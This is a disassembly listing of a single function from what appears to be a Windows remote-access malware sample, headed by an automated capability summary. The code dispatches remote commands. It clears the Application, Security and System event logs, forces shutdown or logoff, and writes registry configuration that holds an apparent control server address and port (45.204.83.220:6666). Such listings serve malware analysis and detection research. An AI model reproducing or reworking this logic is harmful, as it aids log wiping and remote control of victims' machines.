Function at 0x1000ad10
Capabilities:
Access the windows event log
Clear windows event logs
Delete registry value
Query or enumerate registry value
Set registry value
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
mov ebx, ecx
cmp dword [ebx + 0x428], 0
push edi
lea edi, [ebx + 0x428]
jne 0x1000ad84
lea eax, [esp + 0x18]
push eax
push 0x20019
push 0
push str.Console
push SysReAllocString
mov dword [esp + 0x30], 3
mov dword [esp + 0x34], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000ad79
lea ecx, [esp + 0x20]
push ecx
push eax
lea edx, [esp + 0x24]
push edx
push eax
mov eax, dword [esp + 0x28]
push str.IpDatespecial
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [esp + 0x20], 1
ja 0x1000b84e
mov esi, dword [ebp + 8]
movzx eax, byte [esi]
cmp eax, 0xca
ja case.0x1000ad9c.20
movzx ecx, byte [eax + 0x1000b8bc]
jmp dword [ecx*4 + 0x1000b858]
cmp dword [ebx + 0x430], 0
lea eax, [ebx + 0x430]
jne 0x1000b84e
push 1
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [ebx + 8], 0
mov byte [esp + 0x13], 0xcb
jne 0x1000b84e
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov edx, dword [edx + 8]
push 1
lea eax, [esp + 0x17]
push eax
mov ecx, ebx
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp + 0xc], 0xa45
jne 0x1000b84e
push 0xa44
call fcn.1000f707
add esp, 4
push 0xa44
mov edi, eax
push 0
push edi
mov dword [esp + 0x20], edi
call fcn.10016770
inc esi
mov ecx, 0x291
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
cmp dword [ebx + 0x434], 1
jne 0x1000ae42
mov eax, dword [esp + 0x14]
add eax, 4
push eax
push str._s_bin
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esi, dword [0x10031ef8]
cmp esi, dword [0x10031efc]
je 0x1000ae9a
mov edi, dword [esp + 0x14]
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [edi + 4]
add eax, 4
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000ae86
test dx, dx
je 0x1000ae82
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000ae86
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000ae60
xor eax, eax
jmp 0x1000ae8b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000aef4
add esi, 4
cmp esi, dword [0x10031efc]
jne 0x1000ae54
push 0xa45
call fcn.1000eff4
mov edi, dword [esp + 0x18]
add esp, 4
mov esi, eax
push 0xa44
lea eax, [esi + 1]
push edi
mov byte [esi], 5
push eax
mov dword [edi + 0x204], 0
call fcn.10017660
add esp, 0xc
push esi
mov edx, 0xa45
mov ecx, ebx
call fcn.10002ba0
push edi
call fcn.1000efff
add esp, 4
push esi
call fcn.1000efff
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi]
mov edi, dword [eax + 0x10]
mov ecx, dword [esp + 0x14]
add ecx, 0x20c
lea eax, [edi + 0x20c]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000af36
test dx, dx
je 0x1000af32
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000af36
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000af10
xor eax, eax
jmp 0x1000af3b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000afae
test edi, edi
je 0x1000af55
push edi
call fcn.1000efff
mov ecx, dword [esi]
add esp, 4
mov dword [ecx + 0x10], 0
mov edx, dword [esi]
mov eax, dword [edx + 0x14]
test eax, eax
je 0x1000af70
push eax
call fcn.1000fac9
mov eax, dword [esi]
add esp, 4
mov dword [eax + 0x14], 0
mov eax, dword [esi]
test eax, eax
je 0x1000af85
push eax
call fcn.1000efff
add esp, 4
mov dword [esi], 0
mov ecx, dword [0x10031efc]
lea eax, [esi + 4]
sub ecx, eax
sar ecx, 2
add ecx, ecx
add ecx, ecx
push ecx
push eax
push esi
call fcn.1000f020
add esp, 0xc
sub dword [0x10031efc], 4
jmp 0x1000ae9a
mov ecx, dword [esi]
push 0
push 0
push ecx
push 0x1000a6f0
push 0
push 0
call fcn.1000fa29
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
push edx
call fcn.1000efff
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0xa44
call fcn.1000f707
add esp, 4
push 0xa44
mov edi, eax
push 0
push edi
mov dword [esp + 0x20], edi
call fcn.10016770
inc esi
mov ecx, 0x291
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x20]
mov ecx, dword [esi + 0x208]
add esp, 0xc
push ecx
call fcn.1000eff4
mov edx, dword [esi + 0x208]
mov edi, eax
mov eax, dword [ebp + 8]
add esp, 4
push edx
add eax, 0xa45
push eax
push edi
mov dword [esp + 0x24], edi
call fcn.10017660
add esp, 0xc
push 0x1c
call fcn.1000f707
mov dword [eax + 0x10], esi
mov dword [eax + 0x14], edi
lea ecx, [ebx + 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebx + 0x424]
mov dword [eax + 8], edx
mov ecx, dword [ebx + 0x42c]
mov dword [eax + 0xc], ecx
mov edx, dword [ebx + 0x434]
mov dword [eax + 0x18], edx
mov dword [esp + 0x24], eax
mov dword [eax], ebx
add esp, 4
lea eax, [esp + 0x20]
call fcn.1000cf20
mov ebx, dword [esi + 0x208]
add ebx, 0xa60
push ebx
call fcn.1000eff4
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
je 0x1000b162
mov edx, esi
mov edi, eax
mov ecx, 0x291
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x20]
lea edi, [eax + 0xa44]
mov ecx, 7
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 0x208]
mov edx, dword [esp + 0x18]
push ecx
push edx
add eax, 0xa60
push eax
call fcn.10017660
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push str.Console0
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1000b14a
push 0x1fe
call fcn.1000eff4
mov ecx, dword [esp + 0x18]
add esp, 4
push 0
push 0
push 0
push 0
mov esi, eax
push 0
add ecx, 4
push esi
xor edx, edx
call fcn.10005a30
mov ecx, dword [esp + 0x30]
add esp, 0x18
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ebx
push edx
push 3
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test esi, esi
je 0x1000b14a
push esi
call fcn.1000fac9
add esp, 4
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x1c]
push edx
call fcn.1000fac9
add esp, 4
mov eax, dword [esp + 0x20]
push 0
push 0
push eax
push 0x1000a6f0
push 0
push 0
call fcn.1000fa29
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call fcn.1000bb00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor edi, edi
push edi
push edi
push edi
push edi
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
call fcn.1000bc70
mov dword [esp + 0x20], eax
cmp dword [esp + 0x14], edi
jne 0x1000b235
push 0x200
call fcn.1000f707
add esp, 4
push 0x200
mov esi, eax
push edi
push esi
call fcn.10016770
add esp, 0xc
push 0x10025148
push 0x100258ac
push str._s__s_n
lea edx, [esi + 2]
push 0xff
push edx
mov byte [esi], 1
call fcn.1000f858
add esp, 0x14
cmp dword [ebx + 8], edi
jne 0x1000b223
mov ebx, dword [ebx + 4]
mov eax, dword [ebx]
mov edx, dword [eax + 8]
push 0x200
push esi
mov ecx, ebx
call edx
push esi
call fcn.1000efff
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [esp + 0x14]
inc edi
push edi
call fcn.1000eff4
mov ecx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x18]
add esp, 4
push eax
push ecx
lea edx, [esi + 1]
push edx
mov byte [esi], 3
call fcn.10017660
add esp, 0xc
push esi
mov edx, edi
mov ecx, ebx
call fcn.10002ba0
cmp dword [esp + 0x20], 0
je 0x1000b27c
mov eax, dword [esp + 0x20]
push eax
call fcn.1000fac9
add esp, 4
push esi
call fcn.1000fac9
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push ecx
push esi
call fcn.1000c270
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea edx, [esp + 0x20]
push edx
push 0
inc esi
push esi
mov dword [esp + 0x2c], 0
push 0x1000c980
jmp 0x1000b170
movzx eax, byte [esi + 1]
sub eax, 0
je 0x1000b2e5
dec eax
jne 0x1000b84e
add esi, 2
push esi
mov edi, str.REMARK
mov eax, ebx
call fcn.1000c860
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
add esi, 2
push esi
mov edi, 0x10025158
mov eax, ebx
call fcn.1000c860
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
inc esi
push esi
push ebx
call fcn.1000b990
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebx + 8], 0
mov byte [esp + 0x13], 0x14
jne 0x1000b84e
mov ebx, dword [ebx + 4]
mov eax, dword [ebx]
mov edx, dword [eax + 8]
push 1
lea ecx, [esp + 0x17]
push ecx
mov ecx, ebx
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 1]
mov esi, dword [esi + 5]
push esi
push eax
xor ecx, ecx
push 1
push ecx
lea eax, [esp + 0x30]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
push eax
lea edx, [esp + 0x30]
lea ecx, [esp + 0x2c]
call fcn.1000bc70
mov edi, eax
mov eax, dword [esp + 0x20]
add eax, 5
push eax
mov dword [esp + 0x20], eax
call fcn.1000eff4
mov esi, eax
mov eax, dword [esp + 0x24]
add esp, 4
push eax
lea ecx, [esi + 5]
push edi
push ecx
mov byte [esi], 0x14
mov dword [esi + 1], eax
call fcn.10017660
mov edx, dword [esp + 0x28]
add esp, 0xc
push esi
mov ecx, ebx
call fcn.10002ba0
test edi, edi
je 0x1000b3ae
push edi
call fcn.1000fac9
add esp, 4
push esi
call fcn.1000fac9
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov dword [esp + 0x24], str.Application
mov dword [esp + 0x28], str.Security
mov dword [esp + 0x2c], str.System
xor edi, edi
mov edx, dword [esp + edi*4 + 0x24]
push edx
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000b3ff
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc edi
cmp edi, 3
jl 0x1000b3e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.1000c910
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call fcn.10007b70
push 0
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10007b70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.10007b70
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10007b70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.10007b70
push 0
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10007b70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 4]
mov eax, dword [ecx]
mov edx, dword [eax]
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x11
call fcn.1000ce00
mov eax, dword [ebx + 0x434]
add esp, 4
sub eax, 0
je 0x1000b51d
dec eax
jne 0x1000b84e
push 0x200
mov dword [ebx + 0x434], eax
call fcn.1000f707
add esp, 4
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016770
add esp, 0xc
push 0x1002593c
push 0xff
lea eax, [esi + 2]
push eax
mov byte [esi], 1
call fcn.1000f876
add esp, 0xc
cmp dword [ebx + 8], 0
jne 0x1000b50b
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx + 8]
push 0x200
push esi
mov ecx, ebx
call eax
push esi
call fcn.1000efff
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x200
mov dword [ebx + 0x434], 1
call fcn.1000f707
add esp, 4
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016770
add esp, 0xc
push 0x10025920
push 0xff
lea ecx, [esi + 2]
push ecx
jmp 0x1000b4e8
push 0x7d2
call fcn.1000f707
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov edi, eax
push esi
push edi
call fcn.10017660
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x14]
push str.IpDate
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp + 0xc]
mov edx, dword [esp + 0x14]
dec ecx
push ecx
lea esi, [edi + 2]
push esi
push 3
push 0
push str.IpDate
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x200
test eax, eax
je 0x1000b62a
call fcn.1000f707
add esp, 4
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016770
add esp, 0xc
push 0x10025968
lea eax, [esi + 2]
push 0xff
push eax
mov byte [esi], 1
call fcn.1000f876
add esp, 0xc
cmp dword [ebx + 8], 0
jne 0x1000b60d
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx + 8]
push 0x200
push esi
mov ecx, ebx
call eax
push esi
call fcn.1000efff
mov ecx, dword [esp + 0x18]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.1000f707
add esp, 4
push 0x200
mov edi, eax
push 0
push edi
call fcn.10016770
add esp, 0xc
push 0x1002597c
lea edx, [edi + 2]
push 0xff
push edx
mov byte [edi], 1
call fcn.1000f876
add esp, 0xc
cmp dword [ebx + 8], 0
jne 0x1000b673
mov ecx, dword [ebx + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push 0x200
push edi
call edx
push edi
call fcn.1000efff
add esp, 4
push 0
push 0x1002e606
push 0x10025844
push esi
call fcn.10008020
push 0
push 0x1002e804
push 0x1002584c
push esi
call fcn.10008020
push 0x1002e840
push 0
push 0x10025854
push esi
call fcn.10008020
push 0
push str.45.204.83.220
push 0x10025990
push esi
call fcn.10008020
add esp, 0x40
push 0
push str.6666
push 0x10025998
push esi
call fcn.10008020
push 0x1002ea80
push 0
push 0x100259a0
push esi
call fcn.10008020
push 0
push str.127.0.0.1
push 0x100259a8
push esi
call fcn.10008020
push 0
push 0x1002ec82
push 0x100259b0
push esi
call fcn.10008020
add esp, 0x40
push 0x1002ecc0
push 0
push 0x100259b8
push esi
call fcn.10008020
mov eax, dword [esp + 0x24]
add esp, 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx]
mov ecx, ebx
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x7d2
call fcn.1000f707
add esp, 4
cmp dword [ebp + 0xc], 0x7d2
mov edi, eax
jne 0x1000b84e
push 0x7d2
push esi
push edi
call fcn.10017660
add esp, 0xc
push 0
push 0
push edi
push 0x1000aa10
jmp 0x1000b170
cmp dword [edi], 0
je 0x1000b84e
lea ecx, [esp + 0x20]
push ecx
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [esp + 0x20]
push str.IpDatespecial
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp + 0x20]
push 4
push edi
push 3
push 0
push str.IpDatespecial
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [edi], 0
je 0x1000b84e
lea edx, [esp + 0x20]
push edx
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x20]
push str.IpDatespecial
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp byte [esi + 1], 0
jne case.0x1000ad9c.3
push 0
push ebx
call fcn.1000bb00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push eax
call fcn.1000ce00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8